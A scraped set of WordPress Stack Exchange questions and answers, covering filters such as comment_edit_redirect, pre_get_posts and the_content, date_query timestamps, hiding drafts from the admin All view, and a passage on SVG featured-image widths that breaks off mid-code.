<p>I have tried changing the priority of the <code>add_filter</code> to 7 and 15, with no effect.</p>
<p>I have also dumped the <code>$wp_filter</code> global variable to ensure that the filter was recognized (it was).</p>
<p>Why is the filter not being applied?</p>
<p>** (Edited 6 Feb after suggested answers) **</p>
<p>I added an echo statement and a wp_die() inside the filter function. I also did further testing of this issue on my test multisite. </p>
<ul>
<li>The shortcode that the plugin uses is on a page on the main (site 0) subsite of the multisite test system.</li>
<li>links on all comments go to the editing url of the comment</li>
<li>any comments on the site 0 subsite (where the page is that displays the list of comments of all sites) bring you to the comment edit screen, and then "update" will return you to the page defined by the filter (as intended).</li>
<li>any comment links from site-1 or other non-site-0 sites bring you to the comment edit screee, and then "update" will reload the calling page (the comment list page (<strong>not</strong> as intended)</li>
<li>with the wp_die() inserted into the filter function (the function that sets up the desired return page, overriding the $location setting in comments.php), the site-0 editing/update process shows the 'wp_die' message. The site-1 or site-2 editing/update process <strong>does not</strong> show the 'wp_die' message.</li>
</ul>
<p>From this, I conclude that for some reason, the add-filter is not called by any link to a comment on site-1 or site-2, but works if called from links to a comment on site-0. Again, the page that displays the comments is on site-0.</p>
<p>So, why doesn't the add-filter work on any link that goes to the comment editing screen for site-1 or site-2, when it works properly on site-0?</p>
| [
{
"answer_id": 255214,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 1,
"selected": false,
"text": "<blockquote>\n <p>Why is the filter not being applied?</p>\n</blockquote>\n\n<p>Hard to say. Try adding the following code and then try editing a comment. This is basically the same thing you have already, but using an anonymous function with the two parameters.</p>\n\n<pre><code>add_filter( 'comment_edit_redirect', function( $location, $comment_id ) {\n wp_die( 'I\\'m dead.' );\n}, 10, 2 );\n</code></pre>\n\n<p>I tried, and got the expected result or WordPress dying.</p>\n\n<p>When I change <code>wp_die( 'I'm dead.' );</code> to <code>return 'edit-comments.php';</code>, I get redirected to the edit comments page after editing a comment, as expected.</p>\n\n<p>If the callback is getting called correctly (the wp_die test) and it still appears that your filter isn't being applied, then there must be some other plugin/theme functionality that is interfering. Try changing the priority to something really big like 999999. If that doesn't work, try deactivating all other plugins while using a default theme.</p>\n"
},
{
"answer_id": 255240,
"author": "prosti",
"author_id": 88606,
"author_profile": "https://wordpress.stackexchange.com/users/88606",
"pm_score": 1,
"selected": false,
"text": "<p>A reminder, try to avoid this kind of <code>add_filter</code>;</p>\n\n<pre><code>add_filter( 'comment_edit_redirect', 'mcd_return_link');\n</code></pre>\n\n<p>try to always set the number of params, else default is one.</p>\n\n<pre><code>add_filter( 'comment_edit_redirect', 'mcd_return_link', 10 , 2);\n</code></pre>\n"
},
{
"answer_id": 255447,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 1,
"selected": true,
"text": "<p>An answer that brings up another question...</p>\n\n<p>I had a sudden epiphany ... if the plugin is not active on site-1 or site-2, and you click on a link to a comment for site-2, you are taken to the comment editing screen.</p>\n\n<p>But, since the plugin is not active on site-1/site-2 (even though 'network activated' in the multisite admin), the shortcode doesn't work on a site-1/2 page, and therefore the add_filter isn't executed.</p>\n\n<p>So there must be some 'filter-of-the-filter' that only runs the add_filter if for comment links if the plugin is enabled on the site that 'has' the comment.</p>\n\n<p><strong>But</strong> ... this doesn't explain why a very similar plugin I have (that shows all media on all sites, called 'Multisite Media Display') allows you to:</p>\n\n<ul>\n<li>run the page with the shortcode on site-0</li>\n<li>display all media for all subsites</li>\n<li>allows you to edit any media on <strong>any</strong> subsite</li>\n<li>clicking the 'x' button on the Media edit screen to get back to the media list will show you the Media 'list' screen.</li>\n</ul>\n\n<p>I suspect that the 'x' on Media Edit does not have code to specify what page you want to return to (the $location value in comments.php around line 310). </p>\n\n<p>But, why doesn't the comment editor 'see' the add_filter command for a site-1 when the shortcode is run on site-0?</p>\n\n<p>So, an answer that brings up another question....</p>\n"
}
]
| 2017/02/04 | [
"https://wordpress.stackexchange.com/questions/255210",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/29416/"
]
| In my plugin, I have this statement
```
add_filter( 'comment_edit_redirect', 'mcd_return_link');
```
and this function
```
function mcd_return_link {
return "edit-comments.php";
}
```
Inside the **comments.php** (core file), is this section of code (within the section to edit comments, around line 310) (version 4.720
```
$location = ( empty( $_POST['referredby'] ) ? "edit-comments.php?p=$comment_post_id" : $_POST['referredby'] ) . '#comment-' . $comment_id;
/**
* Filters the URI the user is redirected to after editing a comment in the admin.
*
* @since 2.1.0
*
* @param string $location The URI the user will be redirected to.
* @param int $comment_id The ID of the comment being edited.
*/
$location = apply_filters( 'comment_edit_redirect', $location, $comment_id );
wp_redirect( $location );
```
The intent of the `add_filter` is to change the `$location` value in the **comments.php** file to return back to the comment lists screen (in admin).
So my plugin uses a shortcode that is entered on a page
* the shortcode creates a list of comments, each comment with a link to
that comment's edit screen (it does)
* have links to the edit comments screen for a specific comment (it does)
* clicking on that link gets me to the comment's edit screen (it does)
* clicking on the 'update' button should return me to the edit-comments.php page (it doesn't).
To check if the filter is being applied, on my test system, I added code before and after the `apply_filters` line in core **comments.php** to echo the `$location` value.
Both values (before and after) show the calling page (my page that displays comments with edit links). It does not redirect to the **'edit-comments.php'** page, so it appears that the filter is not being applied.
I have tried changing the priority of the `add_filter` to 7 and 15, with no effect.
I have also dumped the `$wp_filter` global variable to ensure that the filter was recognized (it was).
Why is the filter not being applied?
\*\* (Edited 6 Feb after suggested answers) \*\*
I added an echo statement and a wp\_die() inside the filter function. I also did further testing of this issue on my test multisite.
* The shortcode that the plugin uses is on a page on the main (site 0) subsite of the multisite test system.
* links on all comments go to the editing url of the comment
* any comments on the site 0 subsite (where the page is that displays the list of comments of all sites) bring you to the comment edit screen, and then "update" will return you to the page defined by the filter (as intended).
* any comment links from site-1 or other non-site-0 sites bring you to the comment edit screee, and then "update" will reload the calling page (the comment list page (**not** as intended)
* with the wp\_die() inserted into the filter function (the function that sets up the desired return page, overriding the $location setting in comments.php), the site-0 editing/update process shows the 'wp\_die' message. The site-1 or site-2 editing/update process **does not** show the 'wp\_die' message.
From this, I conclude that for some reason, the add-filter is not called by any link to a comment on site-1 or site-2, but works if called from links to a comment on site-0. Again, the page that displays the comments is on site-0.
So, why doesn't the add-filter work on any link that goes to the comment editing screen for site-1 or site-2, when it works properly on site-0? | An answer that brings up another question...
I had a sudden epiphany ... if the plugin is not active on site-1 or site-2, and you click on a link to a comment for site-2, you are taken to the comment editing screen.
But, since the plugin is not active on site-1/site-2 (even though 'network activated' in the multisite admin), the shortcode doesn't work on a site-1/2 page, and therefore the add\_filter isn't executed.
So there must be some 'filter-of-the-filter' that only runs the add\_filter if for comment links if the plugin is enabled on the site that 'has' the comment.
**But** ... this doesn't explain why a very similar plugin I have (that shows all media on all sites, called 'Multisite Media Display') allows you to:
* run the page with the shortcode on site-0
* display all media for all subsites
* allows you to edit any media on **any** subsite
* clicking the 'x' button on the Media edit screen to get back to the media list will show you the Media 'list' screen.
I suspect that the 'x' on Media Edit does not have code to specify what page you want to return to (the $location value in comments.php around line 310).
But, why doesn't the comment editor 'see' the add\_filter command for a site-1 when the shortcode is run on site-0?
So, an answer that brings up another question.... |
255,260 | <p>There are a number of 3rd party wp.org repository plugins that 1) add categories and tags to pages, and 2) enable pages to be displayed along with posts in the archive pages.</p>
<p>The code they use for part 2 always uses:</p>
<pre><code>$wp_query->set
</code></pre>
<p>eg:</p>
<pre><code> if ( ! is_admin() ) {
add_action( 'pre_get_posts', 'category_and_tag_archives' );
}
// Add Page as a post_type in the archive.php and tag.php
function category_and_tag_archives( $wp_query ) {
$my_post_array = array('post','page');
if ( $wp_query->get( 'category_name' ) || $wp_query->get( 'cat' ) )
$wp_query->set( 'post_type', $my_post_array );
if ( $wp_query->get( 'tag' ) )
$wp_query->set( 'post_type', $my_post_array );
}
</code></pre>
<p>So the plugins are all modifying wp_query settings and then leaving these settings -- ie they are not unsetting the changes or resetting them.</p>
<p>I guess they cannot reset wp_query because wp_query is not executed immediately after they modify it - wp_query will be executed at a later time when the archive page is called. Since they are not executing wp_query in their code they cannot reset it right after.</p>
<p>Then when I use this code in another plugin, eg:</p>
<pre><code>$the_query = new WP_Query( array( 'cat' => $categoryid, 'post_type' => 'page' ) );
</code></pre>
<p>It returns both posts and pages, when it should only return pages.</p>
<p>This is because the wp_query has been modified and not reset.</p>
<p>I do not what to do in this case to get wp_query working for the second chunk of code. </p>
<p>The obvious would be to reset wp_query before my line of code but I am not sure it that will negatively affect other code in other plugins or the core.</p>
<p>Any help is greatly appreciated.</p>
| [
{
"answer_id": 255266,
"author": "Ignacio Jose Canó Cabral",
"author_id": 69671,
"author_profile": "https://wordpress.stackexchange.com/users/69671",
"pm_score": 2,
"selected": false,
"text": "<p>If the code shown above is the one the plugin is using, it will affect every query, since it's not checking for is_main_query() (<a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/pre_get_posts\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Plugin_API/Action_Reference/pre_get_posts</a>)</p>\n\n<p>What you could do, is remove the action, do your query, and then add the action again (if needed)</p>\n\n<pre><code>remove_action( 'pre_get_posts', 'category_and_tag_archives' );\n$myQuery = new WP_Query($queryArgs);\nadd_action( 'pre_get_posts', 'category_and_tag_archives' );\n</code></pre>\n\n<p>If in the plugin it has a different priority (default is 10) make sure to specify it.</p>\n\n<p>Heres the remove action reference <a href=\"https://codex.wordpress.org/Function_Reference/remove_action\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Function_Reference/remove_action</a></p>\n\n<p>Hope this helps,</p>\n"
},
{
"answer_id": 255273,
"author": "gmazzap",
"author_id": 35541,
"author_profile": "https://wordpress.stackexchange.com/users/35541",
"pm_score": 2,
"selected": false,
"text": "<p>When plugin modify <code>WP_Query</code> it is not modified \"for good\", but just the single object that is being modified.</p>\n\n<p>When you do:</p>\n\n<p><code>$the_query = new WP_Query( array( 'cat' => $categoryid, 'post_type' => 'page' ) );</code></p>\n\n<p>You get both pages and posts, but <strong>not</strong> because the query is modified and not reset (in fact you are using <em>another</em> object). The real reason is that the filter runs <em>again</em> for this <em>new</em> object, modifying it as well.</p>\n\n<p>This happen because <code>pre_get_posts</code> hook runs for <em>all</em> the queries, so it runs for the <em>original</em> query and for <em>your</em> query as well.</p>\n\n<p>If the plugin that modifies the query had been a bit more wise, it had checked for <code>is_main_query()</code> before modifying the query, this way any query that is not the main query, would not be affected.</p>\n\n<p>For example, if the plugin does:</p>\n\n<pre><code>function category_and_tag_archives( $wp_query ) {\n\n // Only act on main query\n if ( ! $wp_query->is_main_query() ) {\n return;\n }\n\n $my_post_array = array('post','page');\n\n if ( $wp_query->get( 'category_name' ) || $wp_query->get( 'cat' ) )\n $wp_query->set( 'post_type', $my_post_array );\n\n if ( $wp_query->get( 'tag' ) )\n $wp_query->set( 'post_type', $my_post_array );\n\n}\n</code></pre>\n\n<p>when after that you do:</p>\n\n<p><code>$the_query = new WP_Query( array( 'cat' => $categoryid, 'post_type' => 'page' ) );</code></p>\n\n<p>being this query a <em>secondary</em> query it will not be affected, and you'll get only posts as expected.</p>\n"
}
]
| 2017/02/05 | [
"https://wordpress.stackexchange.com/questions/255260",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112591/"
]
| There are a number of 3rd party wp.org repository plugins that 1) add categories and tags to pages, and 2) enable pages to be displayed along with posts in the archive pages.
The code they use for part 2 always uses:
```
$wp_query->set
```
eg:
```
if ( ! is_admin() ) {
add_action( 'pre_get_posts', 'category_and_tag_archives' );
}
// Add Page as a post_type in the archive.php and tag.php
function category_and_tag_archives( $wp_query ) {
$my_post_array = array('post','page');
if ( $wp_query->get( 'category_name' ) || $wp_query->get( 'cat' ) )
$wp_query->set( 'post_type', $my_post_array );
if ( $wp_query->get( 'tag' ) )
$wp_query->set( 'post_type', $my_post_array );
}
```
So the plugins are all modifying wp\_query settings and then leaving these settings -- ie they are not unsetting the changes or resetting them.
I guess they cannot reset wp\_query because wp\_query is not executed immediately after they modify it - wp\_query will be executed at a later time when the archive page is called. Since they are not executing wp\_query in their code they cannot reset it right after.
Then when I use this code in another plugin, eg:
```
$the_query = new WP_Query( array( 'cat' => $categoryid, 'post_type' => 'page' ) );
```
It returns both posts and pages, when it should only return pages.
This is because the wp\_query has been modified and not reset.
I do not what to do in this case to get wp\_query working for the second chunk of code.
The obvious would be to reset wp\_query before my line of code but I am not sure it that will negatively affect other code in other plugins or the core.
Any help is greatly appreciated. | If the code shown above is the one the plugin is using, it will affect every query, since it's not checking for is\_main\_query() (<https://codex.wordpress.org/Plugin_API/Action_Reference/pre_get_posts>)
What you could do, is remove the action, do your query, and then add the action again (if needed)
```
remove_action( 'pre_get_posts', 'category_and_tag_archives' );
$myQuery = new WP_Query($queryArgs);
add_action( 'pre_get_posts', 'category_and_tag_archives' );
```
If in the plugin it has a different priority (default is 10) make sure to specify it.
Heres the remove action reference <https://codex.wordpress.org/Function_Reference/remove_action>
Hope this helps, |
255,275 | <p>I'm looking to run a function 'catloop' after the content.
Instead of just placing it below the_content();
I wanted to do it the right way. There is also a social plugin that places some sharing function after all the content that I need to be above, so, I have a higher priority on the filter.
This is what I have in my functions file:</p>
<pre><code>function catloop($content) {
if(is_page_template('page-category.php')) {
function foo() {
$term = get_field('category_list');
$term_id = $term->term_id;
$catname = $term->name;
// assign the variable as current category
// concatenate the query
$args = 'cat=' . $term_id;
if( $term ): $showposts = 10;
$args = array('cat' => $term_id, 'orderby' => 'post_date', 'order' => 'DESC', 'posts_per_page' => $showposts,'post_status' => 'publish');
query_posts($args);
if (have_posts()) : while (have_posts()) : the_post();
echo '<div class="timeline">';
echo '<a href="';
echo the_permalink();
echo '"><h3>';
echo the_title();
echo '</h3></a>';
endwhile; else:
_e('No Posts Sorry.');
endif;
echo '</div>';
endif;
wp_reset_query();
}
$foo = foo;
$new_content = $foo();
$content .= $new_content;
}
return $content;
}
add_filter('the_content', 'catloop',9);
</code></pre>
<p>It's working but, the problem is that it is placing this above the content. I read in other questions that I need to use 'return' instead of 'echo'
but it breaks. Not sure where to go from here.</p>
| [
{
"answer_id": 255266,
"author": "Ignacio Jose Canó Cabral",
"author_id": 69671,
"author_profile": "https://wordpress.stackexchange.com/users/69671",
"pm_score": 2,
"selected": false,
"text": "<p>If the code shown above is the one the plugin is using, it will affect every query, since it's not checking for is_main_query() (<a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/pre_get_posts\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Plugin_API/Action_Reference/pre_get_posts</a>)</p>\n\n<p>What you could do, is remove the action, do your query, and then add the action again (if needed)</p>\n\n<pre><code>remove_action( 'pre_get_posts', 'category_and_tag_archives' );\n$myQuery = new WP_Query($queryArgs);\nadd_action( 'pre_get_posts', 'category_and_tag_archives' );\n</code></pre>\n\n<p>If in the plugin it has a different priority (default is 10) make sure to specify it.</p>\n\n<p>Heres the remove action reference <a href=\"https://codex.wordpress.org/Function_Reference/remove_action\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Function_Reference/remove_action</a></p>\n\n<p>Hope this helps,</p>\n"
},
{
"answer_id": 255273,
"author": "gmazzap",
"author_id": 35541,
"author_profile": "https://wordpress.stackexchange.com/users/35541",
"pm_score": 2,
"selected": false,
"text": "<p>When plugin modify <code>WP_Query</code> it is not modified \"for good\", but just the single object that is being modified.</p>\n\n<p>When you do:</p>\n\n<p><code>$the_query = new WP_Query( array( 'cat' => $categoryid, 'post_type' => 'page' ) );</code></p>\n\n<p>You get both pages and posts, but <strong>not</strong> because the query is modified and not reset (in fact you are using <em>another</em> object). The real reason is that the filter runs <em>again</em> for this <em>new</em> object, modifying it as well.</p>\n\n<p>This happen because <code>pre_get_posts</code> hook runs for <em>all</em> the queries, so it runs for the <em>original</em> query and for <em>your</em> query as well.</p>\n\n<p>If the plugin that modifies the query had been a bit more wise, it had checked for <code>is_main_query()</code> before modifying the query, this way any query that is not the main query, would not be affected.</p>\n\n<p>For example, if the plugin does:</p>\n\n<pre><code>function category_and_tag_archives( $wp_query ) {\n\n // Only act on main query\n if ( ! $wp_query->is_main_query() ) {\n return;\n }\n\n $my_post_array = array('post','page');\n\n if ( $wp_query->get( 'category_name' ) || $wp_query->get( 'cat' ) )\n $wp_query->set( 'post_type', $my_post_array );\n\n if ( $wp_query->get( 'tag' ) )\n $wp_query->set( 'post_type', $my_post_array );\n\n}\n</code></pre>\n\n<p>when after that you do:</p>\n\n<p><code>$the_query = new WP_Query( array( 'cat' => $categoryid, 'post_type' => 'page' ) );</code></p>\n\n<p>being this query a <em>secondary</em> query it will not be affected, and you'll get only posts as expected.</p>\n"
}
]
| 2017/02/05 | [
"https://wordpress.stackexchange.com/questions/255275",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/91267/"
]
| I'm looking to run a function 'catloop' after the content.
Instead of just placing it below the\_content();
I wanted to do it the right way. There is also a social plugin that places some sharing function after all the content that I need to be above, so, I have a higher priority on the filter.
This is what I have in my functions file:
```
function catloop($content) {
if(is_page_template('page-category.php')) {
function foo() {
$term = get_field('category_list');
$term_id = $term->term_id;
$catname = $term->name;
// assign the variable as current category
// concatenate the query
$args = 'cat=' . $term_id;
if( $term ): $showposts = 10;
$args = array('cat' => $term_id, 'orderby' => 'post_date', 'order' => 'DESC', 'posts_per_page' => $showposts,'post_status' => 'publish');
query_posts($args);
if (have_posts()) : while (have_posts()) : the_post();
echo '<div class="timeline">';
echo '<a href="';
echo the_permalink();
echo '"><h3>';
echo the_title();
echo '</h3></a>';
endwhile; else:
_e('No Posts Sorry.');
endif;
echo '</div>';
endif;
wp_reset_query();
}
$foo = foo;
$new_content = $foo();
$content .= $new_content;
}
return $content;
}
add_filter('the_content', 'catloop',9);
```
It's working but, the problem is that it is placing this above the content. I read in other questions that I need to use 'return' instead of 'echo'
but it breaks. Not sure where to go from here. | If the code shown above is the one the plugin is using, it will affect every query, since it's not checking for is\_main\_query() (<https://codex.wordpress.org/Plugin_API/Action_Reference/pre_get_posts>)
What you could do, is remove the action, do your query, and then add the action again (if needed)
```
remove_action( 'pre_get_posts', 'category_and_tag_archives' );
$myQuery = new WP_Query($queryArgs);
add_action( 'pre_get_posts', 'category_and_tag_archives' );
```
If in the plugin it has a different priority (default is 10) make sure to specify it.
Heres the remove action reference <https://codex.wordpress.org/Function_Reference/remove_action>
Hope this helps, |
255,276 | <p>I am trying to perform a WP_Query, passing the values for <code>before</code> and <code>after</code> in the <code>date_query</code> as unix timestamps.</p>
<p>This does not seem to work:</p>
<pre><code>$args = array(
'date_query' => array(
'before' => 1486045020
)
);
</code></pre>
<p>I know I could use php's <code>date()</code> function to format it to a year, month and day, but I would rather use a unix timestamp to avoid time difference issues.</p>
| [
{
"answer_id": 255279,
"author": "sdexp",
"author_id": 102830,
"author_profile": "https://wordpress.stackexchange.com/users/102830",
"pm_score": 0,
"selected": false,
"text": "<p>You can have a look at the blog database itself to see the exact format Wordpress stores dates in. It doesn't use Unix timestamps. I believe the format is something like <code>2017-01-31</code> (YYYY-MM-DD). I think you might have to use the format Wordpress uses, then convert to/from Unix timestamps when you need to.</p>\n\n<p>EDIT, either that or you might be able to use something like <code>the_date</code> where you can specify the format.</p>\n\n<p><a href=\"https://codex.wordpress.org/Formatting_Date_and_Time\" rel=\"nofollow noreferrer\">Formatting Date and Time</a></p>\n"
},
{
"answer_id": 255461,
"author": "Luke Stevenson",
"author_id": 9349,
"author_profile": "https://wordpress.stackexchange.com/users/9349",
"pm_score": 3,
"selected": true,
"text": "<p>I found the solution - I used PHP's <code>date()</code> function to format it into a ISO 8601 compliant format, so there is no confusion around timezones, etc.</p>\n\n<pre><code>$args = array(\n 'date_query' => array(\n 'before' => date( 'c' , 1486045020 )\n )\n);\n</code></pre>\n"
}
]
| 2017/02/05 | [
"https://wordpress.stackexchange.com/questions/255276",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/9349/"
]
| I am trying to perform a WP\_Query, passing the values for `before` and `after` in the `date_query` as unix timestamps.
This does not seem to work:
```
$args = array(
'date_query' => array(
'before' => 1486045020
)
);
```
I know I could use php's `date()` function to format it to a year, month and day, but I would rather use a unix timestamp to avoid time difference issues. | I found the solution - I used PHP's `date()` function to format it into a ISO 8601 compliant format, so there is no confusion around timezones, etc.
```
$args = array(
'date_query' => array(
'before' => date( 'c' , 1486045020 )
)
);
``` |
255,311 | <p>The all view shows all posts including drafts in <code>wp-admin/edit.php</code>.
How can I exclude the posts with the draft status in the all view?</p>
| [
{
"answer_id": 255315,
"author": "Dave Romsey",
"author_id": 2807,
"author_profile": "https://wordpress.stackexchange.com/users/2807",
"pm_score": 2,
"selected": false,
"text": "<p>The code below will remove draft posts from the admin area under the <em>All</em> listing for the <code>post</code> post type.</p>\n\n<p>The query argument <code>all_posts</code> with a value of <code>1</code> is added to the menu link to ensure that we're only applying this modification when necessary (The <em>All</em> link under the admin post filters (<em>All, Mine, Published, Sticky, Scheduled, Drafts</em>)) will add this query parameter for us, but this is not the case when clicking admin menu, so we need to add it ourselves.</p>\n\n<p>Place the code below into your theme's <code>functions.php</code> or within a plugin.</p>\n\n<pre><code>// Add a query argument to the Posts admin menu.\n// This is used to ensure that we only apply our special filtering when needed.\nadd_action( 'admin_menu', 'wpse255311_admin_menu', PHP_INT_MAX );\nfunction wpse255311_admin_menu() {\n global $menu, $submenu;\n\n $parent = 'edit.php';\n foreach( $submenu[ $parent ] as $key => $value ){\n if ( $value['2'] === 'edit.php' ) {\n $submenu[ $parent ][ $key ]['2'] = 'edit.php?all_posts=1';\n break;\n }\n }\n}\n\n// Hide draft posts from All listing in admin.\nadd_filter( 'pre_get_posts', 'wpse255311_pre_get_posts' );\nfunction wpse255311_pre_get_posts( $wp_query ) {\n $screen = get_current_screen();\n\n // Ensure the the all_posts argument is set and == to 1\n if ( ! isset( $_GET['all_posts'] ) || $_GET['all_posts'] != 1 ) {\n return;\n }\n\n // Bail if we're not on the edit-post screen.\n if ( 'edit-post' !== $screen->id ) {\n return;\n } \n\n // Bail if we're not in the admin area.\n if ( ! is_admin() ) {\n return;\n }\n\n // Ensure we're dealing with the main query and the 'post' post type\n // Only include certain post statuses.\n if ( $wp_query->is_main_query() && $wp_query->query['post_type'] === 'post' ) { \n $wp_query->query_vars['post_status'] = array (\n 'publish',\n 'private',\n 'future'\n );\n } \n} \n</code></pre>\n"
},
{
"answer_id": 255319,
"author": "birgire",
"author_id": 26350,
"author_profile": "https://wordpress.stackexchange.com/users/26350",
"pm_score": 3,
"selected": false,
"text": "<p>The <code>show_in_admin_all_list</code> parameter in the <a href=\"https://developer.wordpress.org/reference/functions/register_post_status/\" rel=\"noreferrer\"><code>register_post_status()</code></a> function, determines if a given post status is included in the <em>All</em> post table view.</p>\n\n<p>Probably the shortest version is:</p>\n\n<pre><code>add_action( 'init', function() use ( &$wp_post_statuses )\n{\n $wp_post_statuses['draft']->show_in_admin_all_list = false;\n\n}, 1 );\n</code></pre>\n\n<p>but let's avoid modifying the globals directly like this and override the default <code>draft</code> status with: </p>\n\n<pre><code>add_action( 'init', function()\n{\n register_post_status( 'draft',\n [\n 'label' => _x( 'Draft', 'post status' ),\n 'protected' => true,\n '_builtin' => true, \n 'label_count' => _n_noop( 'Draft <span class=\"count\">(%s)</span>', 'Drafts <span class=\"count\">(%s)</span>' ),\n 'show_in_admin_all_list' => false, // <-- we override this setting\n ]\n );\n\n}, 1 );\n</code></pre>\n\n<p>where we use the priority 1, since the default draft status is registered at priority 0.</p>\n\n<p>To avoid repeating the default settings and support possible settings changes in the future, we could use the <code>get_post_status_object()</code> instead:</p>\n\n<pre><code>add_action( 'init', function()\n{ \n $a = get_object_vars( get_post_status_object( 'draft' ) );\n $a['show_in_admin_all_list'] = false; // <-- we override this setting\n register_post_status( 'draft', $a );\n\n}, 1 );\n</code></pre>\n"
}
]
| 2017/02/05 | [
"https://wordpress.stackexchange.com/questions/255311",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/80611/"
]
| The all view shows all posts including drafts in `wp-admin/edit.php`.
How can I exclude the posts with the draft status in the all view? | The `show_in_admin_all_list` parameter in the [`register_post_status()`](https://developer.wordpress.org/reference/functions/register_post_status/) function, determines if a given post status is included in the *All* post table view.
Probably the shortest version is:
```
add_action( 'init', function() use ( &$wp_post_statuses )
{
$wp_post_statuses['draft']->show_in_admin_all_list = false;
}, 1 );
```
but let's avoid modifying the globals directly like this and override the default `draft` status with:
```
add_action( 'init', function()
{
register_post_status( 'draft',
[
'label' => _x( 'Draft', 'post status' ),
'protected' => true,
'_builtin' => true,
'label_count' => _n_noop( 'Draft <span class="count">(%s)</span>', 'Drafts <span class="count">(%s)</span>' ),
'show_in_admin_all_list' => false, // <-- we override this setting
]
);
}, 1 );
```
where we use the priority 1, since the default draft status is registered at priority 0.
To avoid repeating the default settings and support possible settings changes in the future, we could use the `get_post_status_object()` instead:
```
add_action( 'init', function()
{
$a = get_object_vars( get_post_status_object( 'draft' ) );
$a['show_in_admin_all_list'] = false; // <-- we override this setting
register_post_status( 'draft', $a );
}, 1 );
``` |
255,314 | <p>Up to now, I have had no problems with the background-image thumbnails in my theme. However, now that I'm trying to use an SVG as the featured image, something is breaking. The problem seems to related to the width of the SVGs being returned as zero by <code>wp_get_attachment_image_src()</code>. So what I am I trying to do is figure out how to extract the width and height information from the SVG then set them to the appropriate values in the SVGs database fields, isn't proving easy.</p>
<p><em>Note: there is not a general problem uploading or rendering svgs, they display fine in my logo.</em></p>
<h3>The error and code: evidence of zero-width</h3>
<p>This is the error that Wordpress throws on the page:
<code>Warning: Division by zero in /wp-content/themes/tesseract/functions.php on line 771</code></p>
<p>This is the code in functions.php before the error (on line 771). </p>
<pre><code> /*759*/ function tesseract_output_featimg_blog() {
/*760*/
/*761*/ global $post;
/*762*/
/*763*/ $thumbnail = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'full' );
/*764*/ $featImg_display = get_theme_mod('tesseract_blog_display_featimg');
/*765*/ $featImg_pos = get_theme_mod('tesseract_blog_featimg_pos');
/*766*/
/*767*/ $w = $thumbnail[1]; /* supposed to return thumbnail width */
/*768*/ $h = $thumbnail[2]; /* supposed to return thumbnail height */
/*769*/ $bw = 720;
/*770*/ $wr = $w/$bw;
/*771*/ $hr = $h/$wr; /**** this is the line that throws the error ****/
</code></pre>
<p>You can see there is a division with <code>$wr</code> as the denominator. Its seems that <code>$wr</code> is being computed as zero because its only non-constant factor, <code>$w</code>, is also zero (the other factor is 720, so it can't be to blame). <code>$w</code>'s value is determined by <code>$thumbnail[1]</code>. <code>$thumbnail[1]</code>'s value is is set on line 763 with this code:</p>
<p><code>$thumbnail = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'full' );</code></p>
<p>And according to the <a href="https://developer.wordpress.org/reference/functions/wp_get_attachment_image_src/" rel="nofollow noreferrer">the Codex</a>, the second value in the returning array of the function <code>wp_get_attachment_image_src</code>(i.e. <code>$thumbnail[1]</code>) is indeed the width of the thumbnail. That value does appear to be zero, because it is the same value as <code>$w</code>, which is indeed denominator on line 771. :(</p>
<h3>Important Note: My theme implements thumbnails as background-images</h3>
<p>The parent theme I am using, "Tesseract", places featured images as background images of anchors/ <code><a></code> elements, instead of placing them as <code><img></code> elements. <strong>I do not believe this is the cause of the problem, but when offering solutions, they should be compatible with background-images, not <code><img></code> objects.</strong></p>
<h3>Couldn't adapt fix #1:</h3>
<p>I did find <a href="http://www.kriesi.at/support/topic/how-to-use-svg-images-as-a-featured-image/" rel="nofollow noreferrer">this webpage</a> which provides a fix for problems using SVGs as featured images. It suggests that the issue is related to the computation of the width. However, I can't apply that fix because it is for an <code>img</code> element that has an SVG as a <code>src</code>, i have an <code><a></code> element that has the SVG location set to the the <code>background-image</code>-<code>url</code>.</p>
<p>This is the fix </p>
<pre><code>function custom_admin_head() {
$css = '';
$css = 'td.media-icon img[src$=".svg"] { width: 100% !important; height: auto !important; }';
echo '<style type="text/css">'.$css.'</style>';
}
add_action('admin_head', 'custom_admin_head');
</code></pre>
<h3>Fix #2 (min-width via CSS) didn't work</h3>
<p>Based on the idea I got from the above page, that the width of the might be the issue, I tried setting a min-width of 50% using just CSS to the <code><a></code>. Here is the code:</p>
<pre><code>a.entry-post-thumbnail.above {
min-width: 50% !important;
}
</code></pre>
<p>My developer tools showed that the CSS "took", that the min-width did get set to 50%. Still WP threw the same error the image did not display. Maybe the CSS doesn't set it before functions.php runs wp_get_attachment_image_src, so it doesn't matter? </p>
<p>Anyone have any clues about how to work around this zero computation? I'd really like to get this working with the background-images, and without having to overwrite too much of the parent theme.</p>
<h3>Fix #3 (hooking a filter) didn't work.</h3>
<p>With the help of @Milo, @NathanJohnson, and @prosti I was able to try a filter to alter <code>wp_get_attachment_image_src()</code>. The code doesn't produce an error but it doesn't remove the division error or get the SVG to display. This the snippet I placed into functions.php. Perhaps the priorities are wrong? :</p>
<pre><code>add_filter( 'wp_get_attachment_image_src', 'fix_wp_get_attachment_image_svg', 10, 4 ); /* the hook */
function fix_wp_get_attachment_image_svg($image, $attachment_id, $size, $icon) {
if (is_array($image) && preg_match('/\.svg$/i', $image[0]) && $image[1] == 1) {
if(is_array($size)) {
$image[1] = $size[0];
$image[2] = $size[1];
} elseif(($xml = simplexml_load_file($image[0])) !== false) {
$attr = $xml->attributes();
$viewbox = explode(' ', $attr->viewBox);
$image[1] = isset($attr->width) && preg_match('/\d+/', $attr->width, $value) ? (int) $value[0] : (count($viewbox) == 4 ? (int) $viewbox[2] : null);
